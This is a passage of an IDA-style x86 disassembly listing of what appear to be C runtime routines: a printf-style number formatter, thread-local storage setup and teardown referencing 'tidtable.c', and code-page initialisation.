movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_42346A
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jnz short loc_42346A
mov ecx, [ebp+var_20]
push ecx
call off_451A4C
add esp, 4
loc_42346A: ; CODE XREF: sub_422D70+6DFj
; sub_422D70+6EBj
mov edx, [ebp+var_20]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_423487
mov ecx, [ebp+var_4]
or ch, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_423487: ; CODE XREF: sub_422D70+703j
mov eax, [ebp+var_20]
push eax
call sub_418D00
add esp, 4
mov [ebp+var_24], eax
jmp loc_4237A7
; ---------------------------------------------------------------------------
loc_42349B: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A38o
mov ecx, [ebp+var_4]
or ecx, 40h
mov [ebp+var_4], ecx
mov [ebp+var_238], 0Ah
jmp loc_423535
; ---------------------------------------------------------------------------
loc_4234B3: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A50o
mov [ebp+var_238], 0Ah
jmp short loc_423535
; ---------------------------------------------------------------------------
loc_4234BF: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A48o
mov [ebp+var_234], 8
loc_4234C9: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A2Co
mov [ebp+var_230], 7
jmp short loc_4234DF
; ---------------------------------------------------------------------------
loc_4234D5: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A54o
mov [ebp+var_230], 27h
loc_4234DF: ; CODE XREF: sub_422D70+763j
mov [ebp+var_238], 10h
mov edx, [ebp+var_4]
and edx, 80h
test edx, edx
jz short loc_423513
mov [ebp+var_240], 30h
mov eax, [ebp+var_230]
add eax, 51h
mov [ebp+var_23F], al
mov [ebp+var_10], 2
loc_423513: ; CODE XREF: sub_422D70+784j
jmp short loc_423535
; ---------------------------------------------------------------------------
loc_423515: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A44o
mov [ebp+var_238], 8
mov ecx, [ebp+var_4]
and ecx, 80h
test ecx, ecx
jz short loc_423535
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
loc_423535: ; CODE XREF: sub_422D70+73Ej
; sub_422D70+74Dj ...
mov eax, [ebp+var_4]
and eax, 8000h
test eax, eax
jz short loc_42355E
lea ecx, [ebp+arg_8]
push ecx
call sub_423BD0
add esp, 4
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp loc_4235EF
; ---------------------------------------------------------------------------
loc_42355E: ; CODE XREF: sub_422D70+7CFj
mov edx, [ebp+var_4]
and edx, 20h
test edx, edx
jz short loc_4235B0
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_423590
lea ecx, [ebp+arg_8]
push ecx
call sub_423BB0
add esp, 4
movsx eax, ax
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_4235AE
; ---------------------------------------------------------------------------
loc_423590: ; CODE XREF: sub_422D70+800j
lea edx, [ebp+arg_8]
push edx
call sub_423BB0
add esp, 4
and eax, 0FFFFh
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
loc_4235AE: ; CODE XREF: sub_422D70+81Ej
jmp short loc_4235EF
; ---------------------------------------------------------------------------
loc_4235B0: ; CODE XREF: sub_422D70+7F6j
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_4235D5
lea ecx, [ebp+arg_8]
push ecx
call sub_423BB0
add esp, 4
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_4235EF
; ---------------------------------------------------------------------------
loc_4235D5: ; CODE XREF: sub_422D70+848j
lea edx, [ebp+arg_8]
push edx
call sub_423BB0
add esp, 4
xor ecx, ecx
mov [ebp+var_278], eax
mov [ebp+var_274], ecx
loc_4235EF: ; CODE XREF: sub_422D70+7E9j
; sub_422D70:loc_4235AEj ...
mov edx, [ebp+var_4]
and edx, 40h
test edx, edx
jz short loc_423637
cmp [ebp+var_274], 0
jg short loc_423637
jl short loc_42360D
cmp [ebp+var_278], 0
jnb short loc_423637
loc_42360D: ; CODE XREF: sub_422D70+892j
mov eax, [ebp+var_278]
neg eax
mov ecx, [ebp+var_274]
adc ecx, 0
neg ecx
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
mov edx, [ebp+var_4]
or dh, 1
mov [ebp+var_4], edx
jmp short loc_42364F
; ---------------------------------------------------------------------------
loc_423637: ; CODE XREF: sub_422D70+887j
; sub_422D70+890j ...
mov eax, [ebp+var_278]
mov [ebp+var_26C], eax
mov ecx, [ebp+var_274]
mov [ebp+var_268], ecx
loc_42364F: ; CODE XREF: sub_422D70+8C5j
mov edx, [ebp+var_4]
and edx, 8000h
test edx, edx
jnz short loc_423677
mov eax, [ebp+var_26C]
mov ecx, [ebp+var_268]
and ecx, 0
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
loc_423677: ; CODE XREF: sub_422D70+8EAj
cmp [ebp+var_234], 0
jge short loc_42368C
mov [ebp+var_234], 1
jmp short loc_423695
; ---------------------------------------------------------------------------
loc_42368C: ; CODE XREF: sub_422D70+90Ej
mov edx, [ebp+var_4]
and edx, 0FFFFFFF7h
mov [ebp+var_4], edx
loc_423695: ; CODE XREF: sub_422D70+91Aj
mov eax, [ebp+var_26C]
or eax, [ebp+var_268]
test eax, eax
jnz short loc_4236AC
mov [ebp+var_10], 0
loc_4236AC: ; CODE XREF: sub_422D70+933j
lea ecx, [ebp+var_29]
mov [ebp+var_20], ecx
loc_4236B2: ; CODE XREF: sub_422D70+9EBj
mov edx, [ebp+var_234]
mov eax, [ebp+var_234]
sub eax, 1
mov [ebp+var_234], eax
test edx, edx
jg short loc_4236DF
mov ecx, [ebp+var_26C]
or ecx, [ebp+var_268]
test ecx, ecx
jz loc_423760
loc_4236DF: ; CODE XREF: sub_422D70+959j
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov edx, [ebp+var_268]
push edx
mov eax, [ebp+var_26C]
push eax
call sub_41DF70
add eax, 30h
mov [ebp+var_270], eax
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov ecx, [ebp+var_268]
push ecx
mov edx, [ebp+var_26C]
push edx
call sub_41DF00
mov [ebp+var_26C], eax
mov [ebp+var_268], edx
cmp [ebp+var_270], 39h
jle short loc_423747
mov eax, [ebp+var_270]
add eax, [ebp+var_230]
mov [ebp+var_270], eax
loc_423747: ; CODE XREF: sub_422D70+9C3j
mov ecx, [ebp+var_20]
mov dl, byte ptr [ebp+var_270]
mov [ecx], dl
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
jmp loc_4236B2
; ---------------------------------------------------------------------------
loc_423760: ; CODE XREF: sub_422D70+969j
lea ecx, [ebp+var_29]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_4]
and eax, 200h
test eax, eax
jz short loc_4237A7
mov ecx, [ebp+var_20]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_42378F
cmp [ebp+var_24], 0
jnz short loc_4237A7
loc_42378F: ; CODE XREF: sub_422D70+A17j
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 30h
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_4237A7: ; CODE XREF: sub_422D70+371j
; sub_422D70+385j ...
cmp [ebp+var_23C], 0
jnz loc_423982
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_42380D
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jz short loc_4237DB
mov [ebp+var_240], 2Dh
mov [ebp+var_10], 1
jmp short loc_42380D
; ---------------------------------------------------------------------------
loc_4237DB: ; CODE XREF: sub_422D70+A59j
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jz short loc_4237F5
mov [ebp+var_240], 2Bh
mov [ebp+var_10], 1
jmp short loc_42380D
; ---------------------------------------------------------------------------
loc_4237F5: ; CODE XREF: sub_422D70+A73j
mov eax, [ebp+var_4]
and eax, 2
test eax, eax
jz short loc_42380D
mov [ebp+var_240], 20h
mov [ebp+var_10], 1
loc_42380D: ; CODE XREF: sub_422D70+A4Cj
; sub_422D70+A69j ...
mov ecx, [ebp+var_244]
sub ecx, [ebp+var_24]
sub ecx, [ebp+var_10]
mov [ebp+var_27C], ecx
mov edx, [ebp+var_4]
and edx, 0Ch
test edx, edx
jnz short loc_423845
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_423B20
add esp, 10h
loc_423845: ; CODE XREF: sub_422D70+AB7j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
push edx
lea eax, [ebp+var_240]
push eax
call sub_423B60
add esp, 10h
mov ecx, [ebp+var_4]
and ecx, 8
test ecx, ecx
jz short loc_423893
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jnz short loc_423893
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 30h
call sub_423B20
add esp, 10h
loc_423893: ; CODE XREF: sub_422D70+AFBj
; sub_422D70+B05j
cmp [ebp+var_1C], 0
jz loc_423941
cmp [ebp+var_24], 0
jle loc_423941
mov eax, [ebp+var_20]
mov [ebp+var_280], eax
mov ecx, [ebp+var_24]
mov [ebp+var_284], ecx
loc_4238B9: ; CODE XREF: sub_422D70+BCAj
mov edx, [ebp+var_284]
mov eax, [ebp+var_284]
sub eax, 1
mov [ebp+var_284], eax
test edx, edx
jz short loc_42393F
mov ecx, [ebp+var_280]
mov dx, [ecx]
mov [ebp+var_2A6], dx
mov ax, [ebp+var_2A6]
push eax
lea ecx, [ebp+var_288]
push ecx
mov edx, [ebp+var_280]
add edx, 2
mov [ebp+var_280], edx
call sub_42C970
add esp, 8
mov [ebp+var_28C], eax
cmp [ebp+var_28C], 0
jg short loc_423919
jmp short loc_42393F
; ---------------------------------------------------------------------------
loc_423919: ; CODE XREF: sub_422D70+BA5j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28C]
push edx
lea eax, [ebp+var_288]
push eax
call sub_423B60
add esp, 10h
jmp loc_4238B9
; ---------------------------------------------------------------------------
loc_42393F: ; CODE XREF: sub_422D70+B60j
; sub_422D70+BA7j
jmp short loc_42395C
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_422D70+B27j
; sub_422D70+B31j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_423B60
add esp, 10h
loc_42395C: ; CODE XREF: sub_422D70:loc_42393Fj
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jz short loc_423982
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_423B20
add esp, 10h
loc_423982: ; CODE XREF: sub_422D70+ADj
; sub_422D70+155j ...
jmp loc_422D94
; ---------------------------------------------------------------------------
loc_423987: ; CODE XREF: sub_422D70+3Bj
; sub_422D70+48j
mov eax, [ebp+var_22C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_422D70 endp
; ---------------------------------------------------------------------------
off_423994 dd offset loc_422E30 ; DATA XREF: sub_422D70+B9r
dd offset loc_422ECA
dd offset loc_422F0C
dd offset loc_422F7B
dd offset loc_422FD3
dd offset loc_422FE2
dd offset loc_42302E
dd offset loc_4230C1
off_4239B4 dd offset loc_422F58 ; DATA XREF: sub_422D70+1CCr
dd offset loc_422F63
dd offset loc_422F4E
dd offset loc_422F43
dd offset loc_422F6E
dd offset loc_422F76
byte_4239CC db 0 ; DATA XREF: sub_422D70+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
off_4239DD dd offset loc_423070 ; DATA XREF: sub_422D70+2EEr
dd offset loc_4230A9
dd offset loc_423065
dd offset loc_4230B3
dd offset loc_4230BC
byte_4239F1 db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3 ; DATA XREF: sub_422D70+2E8r
off_423A20 dd offset loc_4230FC ; DATA XREF: sub_422D70+385r
dd offset loc_423390
dd offset loc_423220
dd offset loc_4234C9
dd offset loc_42318B
dd offset loc_423111
dd offset loc_42349B
dd offset loc_4233A0
dd offset loc_423345
dd offset loc_423515
dd offset loc_4234BF
dd offset loc_423236
dd offset loc_4234B3
dd offset loc_4234D5
dd offset loc_4237A7
byte_423A5C db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh
; DATA XREF: sub_422D70+37Fr
db 4, 8 dup(0Eh), 5, 6, 3 dup(7), 0Eh, 6, 4 dup(0Eh), 8
db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2 dup(0Eh), 0Dh
db 0Eh dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423AA0 proc near ; CODE XREF: sub_422D70+F5p
; sub_422D70+14Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, [ebp+arg_4]
cmp dword ptr [eax+4], 0
jl short loc_423AE2
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
movsx ecx, byte ptr [ebp+arg_0]
and ecx, 0FFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_423AF5
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423AA0+1Aj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_422AF0
add esp, 8
mov [ebp+var_4], eax
loc_423AF5: ; CODE XREF: sub_423AA0+40j
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_423B06
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
jmp short loc_423B13
; ---------------------------------------------------------------------------
loc_423B06: ; CODE XREF: sub_423AA0+59j
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_423B13: ; CODE XREF: sub_423AA0+64j
mov esp, ebp
pop ebp
retn
sub_423AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423B20 proc near ; CODE XREF: sub_422D70+ACDp
; sub_422D70+B1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
loc_423B23: ; CODE XREF: sub_423B20:loc_423B51j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_423B53
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_423AA0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_423B51
jmp short loc_423B53
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423B20+2Dj
jmp short loc_423B23
; ---------------------------------------------------------------------------
loc_423B53: ; CODE XREF: sub_423B20+11j
; sub_423B20+2Fj
pop ebp
retn
sub_423B20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423B60 proc near ; CODE XREF: sub_422D70+AEBp
; sub_422D70+BC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
loc_423B64: ; CODE XREF: sub_423B60:loc_423BA4j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_423BA6
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
call sub_423AA0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_423BA4
jmp short loc_423BA6
; ---------------------------------------------------------------------------
loc_423BA4: ; CODE XREF: sub_423B60+40j
jmp short loc_423B64
; ---------------------------------------------------------------------------
loc_423BA6: ; CODE XREF: sub_423B60+12j
; sub_423B60+42j
mov esp, ebp
pop ebp
retn
sub_423B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BB0 proc near ; CODE XREF: sub_422D70+218p
; sub_422D70+27Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov eax, [ecx-4]
pop ebp
retn
sub_423BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BD0 proc near ; CODE XREF: sub_422D70+7D5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub ecx, 8
mov eax, [ecx]
mov edx, [ecx+4]
pop ebp
retn
sub_423BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BF0 proc near ; CODE XREF: sub_422D70+3B2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ax, [ecx-4]
pop ebp
retn
sub_423BF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423C10 proc near ; CODE XREF: .nsp0:loc_41EA54p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_41FA60
call dword_4F149C ; TlsAlloc
mov dword_4516BC, eax
cmp dword_4516BC, 0FFFFFFFFh
jnz short loc_423C31
xor eax, eax
jmp short loc_423C8E
; ---------------------------------------------------------------------------
loc_423C31: ; CODE XREF: sub_423C10+1Bj
push 61h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_419300
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_423C64
mov eax, [ebp+var_4]
push eax
mov ecx, dword_4516BC
push ecx
call dword_4F1498 ; TlsSetValue
test eax, eax
jnz short loc_423C68
loc_423C64: ; CODE XREF: sub_423C10+3Dj
xor eax, eax
jmp short loc_423C8E
; ---------------------------------------------------------------------------
loc_423C68: ; CODE XREF: sub_423C10+52j
mov edx, [ebp+var_4]
push edx
call sub_423CD0
add esp, 4
call dword_4F1494 ; GetCurrentThreadId
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, 1
loc_423C8E: ; CODE XREF: sub_423C10+1Fj
; sub_423C10+56j
mov esp, ebp
pop ebp
retn
sub_423C10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41FAA0
cmp dword_4516BC, 0FFFFFFFFh
jz short loc_423CC7
mov eax, dword_4516BC
push eax
call dword_4F14A0 ; TlsFree
mov dword_4516BC, 0FFFFFFFFh
loc_423CC7: ; CODE XREF: .nsp0:00423CAFj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CD0 proc near ; CODE XREF: sub_423C10+5Cp
; sub_423CF0+5Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax+50h], offset dword_451BC8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 1
pop ebp
retn
sub_423CD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CF0 proc near ; CODE XREF: sub_41B840+3p
; sub_41B850+4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
mov eax, dword_4516BC
push eax
call dword_4F14A8 ; TlsGetValue
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_423D77
push 0E7h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_419300
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_423D6D
mov ecx, [ebp+var_4]
push ecx
mov edx, dword_4516BC
push edx
call dword_4F1498 ; TlsSetValue
test eax, eax
jz short loc_423D6D
mov eax, [ebp+var_4]
push eax
call sub_423CD0
add esp, 4
call dword_4F1494 ; GetCurrentThreadId
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
jmp short loc_423D77
; ---------------------------------------------------------------------------
loc_423D6D: ; CODE XREF: sub_423CF0+43j
; sub_423CF0+58j
push 10h
call sub_41EB30
add esp, 4
loc_423D77: ; CODE XREF: sub_423CF0+22j
; sub_423CF0+7Bj
mov eax, [ebp+var_8]
push eax
call dword_4F14A4 ; RtlRestoreLastWin32Error
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_423CF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4516BC, 0FFFFFFFFh
jz loc_423E95
cmp dword ptr [ebp+8], 0
jnz short loc_423DB5
mov eax, dword_4516BC
push eax
call dword_4F14A8 ; TlsGetValue
mov [ebp+8], eax
loc_423DB5: ; CODE XREF: .nsp0:00423DA4j
cmp dword ptr [ebp+8], 0
jz loc_423E86
mov ecx, [ebp+8]
cmp dword ptr [ecx+24h], 0
jz short loc_423DD9
push 2
mov edx, [ebp+8]
mov eax, [edx+24h]
push eax
call sub_419980
add esp, 8
loc_423DD9: ; CODE XREF: .nsp0:00423DC6j
mov ecx, [ebp+8]
cmp dword ptr [ecx+28h], 0
jz short loc_423DF3
push 2
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
call sub_419980
add esp, 8
loc_423DF3: ; CODE XREF: .nsp0:00423DE0j
mov ecx, [ebp+8]
cmp dword ptr [ecx+30h], 0
jz short loc_423E0D
push 2
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_419980
add esp, 8
loc_423E0D: ; CODE XREF: .nsp0:00423DFAj
mov ecx, [ebp+8]
cmp dword ptr [ecx+38h], 0
jz short loc_423E27
push 2
mov edx, [ebp+8]
mov eax, [edx+38h]
push eax
call sub_419980
add esp, 8
loc_423E27: ; CODE XREF: .nsp0:00423E14j
mov ecx, [ebp+8]
cmp dword ptr [ecx+40h], 0
jz short loc_423E41
push 2
mov edx, [ebp+8]
mov eax, [edx+40h]
push eax
call sub_419980
add esp, 8
loc_423E41: ; CODE XREF: .nsp0:00423E2Ej
mov ecx, [ebp+8]
cmp dword ptr [ecx+44h], 0
jz short loc_423E5B
push 2
mov edx, [ebp+8]
mov eax, [edx+44h]
push eax
call sub_419980
add esp, 8
loc_423E5B: ; CODE XREF: .nsp0:00423E48j
mov ecx, [ebp+8]
cmp dword ptr [ecx+50h], offset dword_451BC8
jz short loc_423E78
push 2
mov edx, [ebp+8]
mov eax, [edx+50h]
push eax
call sub_419980
add esp, 8
loc_423E78: ; CODE XREF: .nsp0:00423E65j
push 2
mov ecx, [ebp+8]
push ecx
call sub_419980
add esp, 8
loc_423E86: ; CODE XREF: .nsp0:00423DB9j
push 0
mov edx, dword_4516BC
push edx
call dword_4F1498 ; TlsSetValue
loc_423E95: ; CODE XREF: .nsp0:00423D9Aj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call dword_4F1494 ; GetCurrentThreadId
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call dword_4F14AC ; GetCurrentThread
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC0 proc near ; CODE XREF: sub_4246A0+Ep
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 19h
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_424210
add esp, 4
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
cmp ecx, dword_4EFD4C
jnz short loc_423EFB
push 19h
call sub_41FBE0
add esp, 4
xor eax, eax
jmp loc_424200
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423EC0+28j
cmp [ebp+arg_0], 0
jnz short loc_423F1C
call sub_4242F0
call sub_424370
push 19h
call sub_41FBE0
add esp, 4
xor eax, eax
jmp loc_424200
; ---------------------------------------------------------------------------
loc_423F1C: ; CODE XREF: sub_423EC0+3Fj
mov [ebp+var_4], 0
jmp short loc_423F2E
; ---------------------------------------------------------------------------
loc_423F25: ; CODE XREF: sub_423EC0:loc_42407Aj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_423F2E: ; CODE XREF: sub_423EC0+63j
cmp [ebp+var_4], 5
jnb loc_42407F
mov eax, [ebp+var_4]
imul eax, 30h
mov ecx, dword_4516C8[eax]
cmp ecx, [ebp+arg_0]
jnz loc_42407A
mov [ebp+var_24], 0
jmp short loc_423F5F
; ---------------------------------------------------------------------------
loc_423F56: ; CODE XREF: sub_423EC0+B2j
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_423F5F: ; CODE XREF: sub_423EC0+94j
cmp [ebp+var_24], 101h
jnb short loc_423F74
mov eax, [ebp+var_24]
mov byte_4EFE60[eax], 0
jmp short loc_423F56
; ---------------------------------------------------------------------------
loc_423F74: ; CODE XREF: sub_423EC0+A6j
mov [ebp+var_C], 0
jmp short loc_423F86
; ---------------------------------------------------------------------------
loc_423F7D: ; CODE XREF: sub_423EC0:loc_424002j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_423F86: ; CODE XREF: sub_423EC0+BBj
cmp [ebp+var_C], 4
jnb short loc_424007
mov edx, [ebp+var_4]
imul edx, 30h
mov eax, [ebp+var_C]
lea ecx, dword_4516D8[edx+eax*8]
mov [ebp+var_8], ecx
jmp short loc_423FAA
; ---------------------------------------------------------------------------
loc_423FA1: ; CODE XREF: sub_423EC0:loc_424000j
mov edx, [ebp+var_8]
add edx, 2
mov [ebp+var_8], edx
loc_423FAA: ; CODE XREF: sub_423EC0+DFj
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_424002
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_424002
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_423FD6
; ---------------------------------------------------------------------------
loc_423FCD: ; CODE XREF: sub_423EC0+13Ej
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_423FD6: ; CODE XREF: sub_423EC0+10Bj
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_424000
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
mov dl, byte_4EFE61[eax]
or dl, byte_4516C0[ecx]
mov eax, [ebp+var_24]
mov byte_4EFE61[eax], dl
jmp short loc_423FCD
; ---------------------------------------------------------------------------
loc_424000: ; CODE XREF: sub_423EC0+121j
jmp short loc_423FA1
; ---------------------------------------------------------------------------
loc_424002: ; CODE XREF: sub_423EC0+F3j
; sub_423EC0+FFj
jmp loc_423F7D
; ---------------------------------------------------------------------------
loc_424007: ; CODE XREF: sub_423EC0+CAj
mov ecx, [ebp+arg_0]
mov dword_4EFD4C, ecx
mov dword_4EFD5C, 1
mov edx, dword_4EFD4C
push edx
call sub_424270
add esp, 4
mov dword_4EFF64, eax
mov [ebp+var_C], 0
jmp short loc_424040
; ---------------------------------------------------------------------------
loc_424037: ; CODE XREF: sub_423EC0+1A2j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_424040: ; CODE XREF: sub_423EC0+175j
cmp [ebp+var_C], 6
jnb short loc_424064
mov ecx, [ebp+var_4]
imul ecx, 30h
